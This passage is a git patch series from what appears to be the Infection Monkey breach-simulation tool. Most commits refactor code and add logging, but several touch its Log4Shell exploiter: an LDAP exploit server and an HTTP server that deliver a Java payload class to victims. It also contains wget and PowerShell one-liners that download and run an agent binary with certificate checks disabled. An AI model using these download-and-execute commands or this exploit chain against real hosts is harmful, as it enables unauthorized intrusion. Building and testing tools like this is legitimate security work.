a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_linux_wget.js @@ -1,6 +1,6 @@ export default function generateLocalLinuxWget(ip, username) { let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/` - + `monkey-linux-64; ` + + `linux; ` + `chmod +x monkey-linux-64; ` + `./monkey-linux-64 m0nk3y -s ${ip}:5000`; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js index de5346f30..ea068dfb5 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/commands/local_windows_powershell.js @@ -1,7 +1,7 @@ function getAgentDownloadCommand(ip) { return `$execCmd = @"\r\n` + `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};` - + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',` + + `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/windows',` + `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';` + `\r\n"@; \r\n` + `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`; From d3c75200fdcce0cce18b87959cbd448757f39cb5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Thu, 3 Mar 2022 11:31:11 -0500 Subject: [PATCH 14/25] Agent: Remove SystemInfoCollector references from dropper.py --- monkey/infection_monkey/dropper.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index b42bc3414..90d6712d5 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -18,6 +18,7 @@ from infection_monkey.utils.commands import ( get_monkey_commandline_linux, get_monkey_commandline_windows, ) +from infection_monkey.utils.environment import is_windows_os if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -140,7 +141,7 @@ class MonkeyDrops(object): location=None, ) - if OperatingSystem.Windows == SystemInfoCollector.get_os(): + if is_windows_os(): monkey_commandline = get_monkey_commandline_windows( self._config["destination_path"], monkey_options ) From 928192b9b0315db3b7cdfd918abc285ae569ff07 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Thu, 3 Mar 2022 13:48:00 -0500 Subject: [PATCH 15/25] Agent: Add helpful debug logging to log4shell exploiter --- monkey/infection_monkey/exploit/log4shell.py | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index bfc0b4b46..d6c6ec198 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -138,6 +138,10 @@ class Log4ShellExploiter(WebRCE): # because we don't know which services are running and on which ports for exploit in get_log4shell_service_exploiters(): for port in self._open_ports: + logger.debug( + f'Attempting Log4Shell exploit on for service "{exploit.service_name}"' + f"on port {port}" + ) try: url = exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) except Exception as ex: @@ -175,6 +179,7 @@ class Log4ShellExploiter(WebRCE): time.sleep(1) + logger.debug("Timed out while waiting for victim to download the java bytecode") return False def _wait_for_victim_to_download_agent(self): From 515edf265a92dd1378bc78acae6410fae839f649 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Thu, 3 Mar 2022 13:48:18 -0500 Subject: [PATCH 16/25] Island: Add helpful logging to MonkeyDownload resource --- monkey/monkey_island/cc/resources/monkey_download.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py index 99943aedb..a5750769f 100644 --- a/monkey/monkey_island/cc/resources/monkey_download.py +++ b/monkey/monkey_island/cc/resources/monkey_download.py @@ -51,7 +51,9 @@ class MonkeyDownload(flask_restful.Resource): def get_agent_executable_path(host_os: str) -> Path: try: agent_path = get_executable_full_path(AGENTS[host_os]) - logger.debug(f"Monkey exec found for os: {host_os}, {agent_path}") + logger.debug(f'Local path for {host_os} executable is "{agent_path}"') + if not agent_path.is_file(): + logger.error(f"File {agent_path} not found") return agent_path except KeyError: From 93415cf2c878ed2f02ad397d1b410aec1cd41cb0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Thu, 3 Mar 2022 14:40:41 -0500 Subject: [PATCH 17/25] Agent: Add TODO to Log4ShellExploiter --- monkey/infection_monkey/exploit/log4shell.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index d6c6ec198..146f4c16a 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -160,6 +160,8 @@ class Log4ShellExploiter(WebRCE): self.exploit_result.propagation_success = True def _wait_for_victim(self) -> bool: + # TODO: Peridodically check to see if ldap or HTTP servers have exited with an error. If + # they have, return with an error. victim_called_back = False victim_called_back = self._wait_for_victim_to_download_java_bytecode() From df495f98c72f3c7fe6838b64ffcfd86ae5d6283e Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Thu, 3 Mar 2022 14:49:39 -0500 Subject: [PATCH 18/25] Agent: Fix twisted import parallelization bug --- .../exploit/log4shell_utils/ldap_server.py | 45 +++++++++++++------ 1 file changed, 31 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index 0b29fd4cf..52ba2edbb 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -6,14 +6,16 @@ import threading import time from pathlib import Path -from ldaptor.interfaces import IConnectedLDAPEntry -from ldaptor.ldiftree import LDIFTreeEntry from ldaptor.protocols.ldap.ldapserver import LDAPServer -from twisted.application import service -from twisted.internet import reactor from twisted.internet.protocol import ServerFactory -from twisted.python import log -from twisted.python.components import registerAdapter + +# WARNING: It was observed that this LDAP server would raise an exception and fail to start if +# multiple Python threads attempt to start multiple LDAP servers simultaneously. It was +# thought that since each LDAP server is started in its own process, there would be no +# issue, however this is not the case. It seems that there may be something that is not +# thread- or multiprocess-safe about some of the twisted imports. Moving the twisted +# imports down into the functions where they are required and removing them from the top of +# this file appears to resolve the issue. logger = logging.getLogger(__name__) @@ -32,6 +34,8 @@ class Tree: """ def __init__(self, http_server_ip: str, http_server_port: int, storage_dir: Path): + from ldaptor.ldiftree import LDIFTreeEntry + self.path = tempfile.mkdtemp(prefix="log4shell", suffix=".ldap", dir=storage_dir) self.db = LDIFTreeEntry(self.path) @@ -91,14 +95,7 @@ class LDAPExploitServer: self._http_server_ip = http_server_ip self._http_server_port = http_server_port self._storage_dir = storage_dir - - # A Twisted reactor can only be started and stopped once. It cannot be restarted after it - # has been stopped. To work around this, the reactor is configured and run in a separate - # process. This allows us to run multiple LDAP servers sequentially or simultaneously and - # stop each one when we're done with it. - self._server_process = multiprocessing.Process( - target=self._run_twisted_reactor, daemon=True - ) + self._server_process = None def run(self): """ @@ -108,6 +105,15 @@ class LDAPExploitServer: :raises LDAPServerStartError: Indicates there was a problem starting the LDAP server. """ logger.info("Starting LDAP exploit server") + + # A Twisted reactor can only be started and stopped once. It cannot be restarted after it + # has been stopped. To work around this, the reactor is configured and run in a separate + # process. This allows us to run multiple LDAP servers sequentially or simultaneously and + # stop each one when we're done with it. + self._server_process = multiprocessing.Process( + target=self._run_twisted_reactor, daemon=True + ) + self._server_process.start() reactor_running = self._reactor_startup_completed.wait(REACTOR_START_TIMEOUT_SEC) @@ -117,6 +123,8 @@ class LDAPExploitServer: logger.debug("The LDAP exploit server has successfully started") def _run_twisted_reactor(self): + from twisted.internet import reactor + logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") self._configure_twisted_reactor() @@ -128,6 +136,8 @@ class LDAPExploitServer: reactor.run() def _check_if_reactor_startup_completed(self): + from twisted.internet import reactor + check_interval_sec = 0.25 num_checks = math.ceil(REACTOR_START_TIMEOUT_SEC / check_interval_sec) @@ -141,6 +151,11 @@ class LDAPExploitServer: time.sleep(check_interval_sec) def _configure_twisted_reactor(self): + from ldaptor.interfaces import IConnectedLDAPEntry + from twisted.application import service + from twisted.internet import reactor + from twisted.python.components import registerAdapter + LDAPExploitServer._output_twisted_logs_to_python_logger() registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) @@ -155,6 +170,8 @@ class LDAPExploitServer: @staticmethod def _output_twisted_logs_to_python_logger(): + from twisted.python import log + # Configures Twisted to output its logs using the standard python logging module instead of # the Twisted logging module. # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html From bf998f502113edcebf2e63d55191cad74552e3b9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Fri, 4 Mar 2022 17:03:37 -0500 Subject: [PATCH 19/25] Agent: Fix HTTPHandler class name in ExploitClassHTTPServer --- .../exploit/log4shell_utils/exploit_class_http_server.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 5fc6521bd..3e0cdd38d 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -28,7 +28,7 @@ def do_GET(self): def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event): return type( - "http_handler_class", + "HTTPHandler", (http.server.BaseHTTPRequestHandler,), { "java_class": java_class, @@ -60,9 +60,9 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - http_handler_class = get_new_http_handler_class(java_class, self._class_downloaded) + HTTPHandler = get_new_http_handler_class(java_class, self._class_downloaded) - self._server = http.server.HTTPServer((ip, port), http_handler_class) + self._server = http.server.HTTPServer((ip, port), HTTPHandler) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` From efa0c5beb4ca4d8ea2e7fc4ea74fdb82a122d948 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Fri, 4 Mar 2022 17:05:35 -0500 Subject: [PATCH 20/25] Agent: Format HTTPFingerprinter with Black --- .../network_scanning/http_fingerprinter.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/network_scanning/http_fingerprinter.py b/monkey/infection_monkey/network_scanning/http_fingerprinter.py index f5dcfac64..25e96d4a2 100644 --- a/monkey/infection_monkey/network_scanning/http_fingerprinter.py +++ b/monkey/infection_monkey/network_scanning/http_fingerprinter.py @@ -25,11 +25,11 @@ class HTTPFingerprinter(IFingerprinter): """ def get_host_fingerprint( - self, - host: str, - _: PingScanData, - port_scan_data: Dict[int, PortScanData], - options: Dict, + self, + host: str, + _: PingScanData, + port_scan_data: Dict[int, PortScanData], + options: Dict, ) -> FingerprintData: services = {} http_ports = set(options.get("http_ports", [])) @@ -85,7 +85,7 @@ def _get_http_headers(url: str) -> Optional[Dict[str, Any]]: def _get_open_http_ports( - allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] + allowed_http_ports: Set, port_scan_data: Dict[int, PortScanData] ) -> Iterable[int]: open_ports = (psd.port for psd in port_scan_data.values() if psd.status == PortStatus.OPEN) return (port for port in open_ports if port in allowed_http_ports) From ca485bf569cfb6ddef053df65c59d9a3c473c86f Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Mon, 7 Mar 2022 03:59:47 -0500 Subject: [PATCH 21/25] Agent: Return temporary monkey_dir as Path instead of str --- .../infection_monkey/telemetry/attack/t1107_telem.py | 2 +- monkey/infection_monkey/utils/monkey_dir.py | 12 ++++++++---- .../telemetry/attack/test_t1107_telem.py | 6 ++++++ 3 files changed, 15 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/telemetry/attack/t1107_telem.py b/monkey/infection_monkey/telemetry/attack/t1107_telem.py index 816488f3b..c3667289b 100644 --- a/monkey/infection_monkey/telemetry/attack/t1107_telem.py +++ b/monkey/infection_monkey/telemetry/attack/t1107_telem.py @@ -13,5 +13,5 @@ class T1107Telem(AttackTelem): def get_data(self): data = super(T1107Telem, self).get_data() - data.update({"path": self.path}) + data.update({"path": str(self.path)}) return data diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py index 7f74f9158..14269c7b3 100644 --- a/monkey/infection_monkey/utils/monkey_dir.py +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -1,5 +1,6 @@ import shutil import tempfile +from pathlib import Path MONKEY_DIR_PREFIX = "monkey_dir_" _monkey_dir = None @@ -7,13 +8,13 @@ _monkey_dir = None # TODO: Check if we even need this. Individual plugins can just use tempfile.mkdtemp() or # tempfile.mkftemp() if they need to. -def create_monkey_dir(): +def create_monkey_dir() -> Path: """ Creates directory for monkey and related files """ global _monkey_dir - _monkey_dir = tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir()) + _monkey_dir = Path(tempfile.mkdtemp(prefix=MONKEY_DIR_PREFIX, dir=tempfile.gettempdir())) return _monkey_dir @@ -29,5 +30,8 @@ def remove_monkey_dir(): return False -def get_monkey_dir_path(): - return _monkey_dir +def get_monkey_dir_path() -> Path: + if _monkey_dir is None: + create_monkey_dir() + + return _monkey_dir # type: ignore diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py index bb1bf2088..7680191a5 100644 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py +++ b/monkey/tests/unit_tests/infection_monkey/telemetry/attack/test_t1107_telem.py @@ -1,4 +1,5 @@ import json +from pathlib import Path import pytest @@ -20,3 +21,8 @@ def test_T1107_send(T1107_telem_test_instance, spy_send_telemetry): expected_data = json.dumps(expected_data, cls=T1107_telem_test_instance.json_encoder) assert spy_send_telemetry.data == expected_data assert spy_send_telemetry.telem_category == "attack" + + +def test_T1107_send__path(spy_send_telemetry): + T1107Telem(STATUS, Path(PATH)).send() + assert json.loads(spy_send_telemetry.data)["path"] == PATH From 3698a28e2655ff02645f45d8452dee6240196cbf Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Mon, 7 Mar 2022 04:02:04 -0500 Subject: [PATCH 22/25] Agent: Add return type annotation to remove_monkey_dir() --- monkey/infection_monkey/utils/monkey_dir.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/utils/monkey_dir.py b/monkey/infection_monkey/utils/monkey_dir.py index 14269c7b3..4639ec6bc 100644 --- a/monkey/infection_monkey/utils/monkey_dir.py +++ b/monkey/infection_monkey/utils/monkey_dir.py @@ -18,7 +18,7 @@ def create_monkey_dir() -> Path: return _monkey_dir -def remove_monkey_dir(): +def remove_monkey_dir() -> bool: """ Removes monkey's root directory :return True if removed without errors and False otherwise From c4f971ff3358be852e713fa9c10de90149c055ad Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Mon, 7 Mar 2022 04:15:44 -0500 Subject: [PATCH 23/25] Agent: Add comment to _get_new_http_handler_class() --- .../log4shell_utils/exploit_class_http_server.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 3e0cdd38d..89eee7808 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -1,6 +1,7 @@ import http.server import logging import threading +from typing import Type logger = logging.getLogger(__name__) @@ -26,7 +27,18 @@ def do_GET(self): self.wfile.write(self.java_class) -def get_new_http_handler_class(java_class: bytes, class_downloaded: threading.Event): +def _get_new_http_handler_class( + java_class: bytes, class_downloaded: threading.Event +) -> Type[http.server.BaseHTTPRequestHandler]: + """ + Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the + caller. + + Because Python's http.server.HTTPServer accepts a class and creates a new object to + handle each request it receives, any state that needs to be shared between requests must be + stored as class variables. Creating the request handler classes dynamically at runtime allows + multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. + """ return type( "HTTPHandler", (http.server.BaseHTTPRequestHandler,), @@ -60,7 +72,7 @@ class ExploitClassHTTPServer: self._class_downloaded = threading.Event() self._poll_interval = poll_interval - HTTPHandler = get_new_http_handler_class(java_class, self._class_downloaded) + HTTPHandler = _get_new_http_handler_class(java_class, self._class_downloaded) self._server = http.server.HTTPServer((ip, port), HTTPHandler) # Setting `daemon=True` to save ourselves some trouble when this is merged to the From 95be74ed813b4797087844f77e141a5e9852eecc Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Mon, 7 Mar 2022 04:18:34 -0500 Subject: [PATCH 24/25] Agent: Reorder exploit_class_http_server.py --- .../exploit_class_http_server.py | 86 +++++++++---------- 1 file changed, 43 insertions(+), 43 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 89eee7808..6d864ca0c 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -8,49 +8,6 @@ logger = logging.getLogger(__name__) HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 -def do_GET(self): - with self.download_lock: - if self.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, - "Java exploit class has already been downloaded", - ) - return - - self.class_downloaded.set() - - logger.info("Java class server received a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class) - - -def _get_new_http_handler_class( - java_class: bytes, class_downloaded: threading.Event -) -> Type[http.server.BaseHTTPRequestHandler]: - """ - Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the - caller. - - Because Python's http.server.HTTPServer accepts a class and creates a new object to - handle each request it receives, any state that needs to be shared between requests must be - stored as class variables. Creating the request handler classes dynamically at runtime allows - multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. - """ - return type( - "HTTPHandler", - (http.server.BaseHTTPRequestHandler,), - { - "java_class": java_class, - "class_downloaded": class_downloaded, - "download_lock": threading.Lock(), - "do_GET": do_GET, - }, - ) - - class ExploitClassHTTPServer: """ An HTTP server that serves Java bytecode for use with the Log4Shell exploiter. This server @@ -126,3 +83,46 @@ class ExploitClassHTTPServer: :rtype: bool """ return self._class_downloaded.is_set() + + +def _get_new_http_handler_class( + java_class: bytes, class_downloaded: threading.Event +) -> Type[http.server.BaseHTTPRequestHandler]: + """ + Dynamically create a new subclass of http.server.BaseHTTPRequestHandler and return it to the + caller. + + Because Python's http.server.HTTPServer accepts a class and creates a new object to + handle each request it receives, any state that needs to be shared between requests must be + stored as class variables. Creating the request handler classes dynamically at runtime allows + multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. + """ + return type( + "HTTPHandler", + (http.server.BaseHTTPRequestHandler,), + { + "java_class": java_class, + "class_downloaded": class_downloaded, + "download_lock": threading.Lock(), + "do_GET": do_GET, + }, + ) + + +def do_GET(self): + with self.download_lock: + if self.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return + + self.class_downloaded.set() + + logger.info("Java class server received a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) From 0e01264bb65b3d44e151d8f415cdafe35693db51 Mon Sep 17 00:00:00 2001 From: Mike Salvatore <mike.s.salvatore@gmail.com> Date: Mon, 7 Mar 2022 05:21:48 -0500 Subject: [PATCH 25/25] Agent: Make do_GET() and inner function of _get_new_http_handler_class --- .../exploit_class_http_server.py | 38 +++++++++---------- 1 file changed, 19 insertions(+), 19 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 6d864ca0c..8667963b5 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -97,6 +97,25 @@ def _get_new_http_handler_class( stored as class variables. Creating the request handler classes dynamically at runtime allows multiple ExploitClassHTTPServers, each with it's own unique state, to run concurrently. """ + + def do_GET(self): + with self.download_lock: + if self.class_downloaded.is_set(): + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, + "Java exploit class has already been downloaded", + ) + return + + self.class_downloaded.set() + + logger.info("Java class server received a GET request!") + self.send_response(200) + self.send_header("Content-type", "application/octet-stream") + self.end_headers() + logger.info("Sending the payload class!") + self.wfile.write(self.java_class) + return type( "HTTPHandler", (http.server.BaseHTTPRequestHandler,), @@ -107,22 +126,3 @@ def _get_new_http_handler_class( "do_GET": do_GET, }, ) - - -def do_GET(self): - with self.download_lock: - if self.class_downloaded.is_set(): - self.send_error( - HTTP_TOO_MANY_REQUESTS_ERROR_CODE, - "Java exploit class has already been downloaded", - ) - return - - self.class_downloaded.set() - - logger.info("Java class server received a GET request!") - self.send_response(200) - self.send_header("Content-type", "application/octet-stream") - self.end_headers() - logger.info("Sending the payload class!") - self.wfile.write(self.java_class)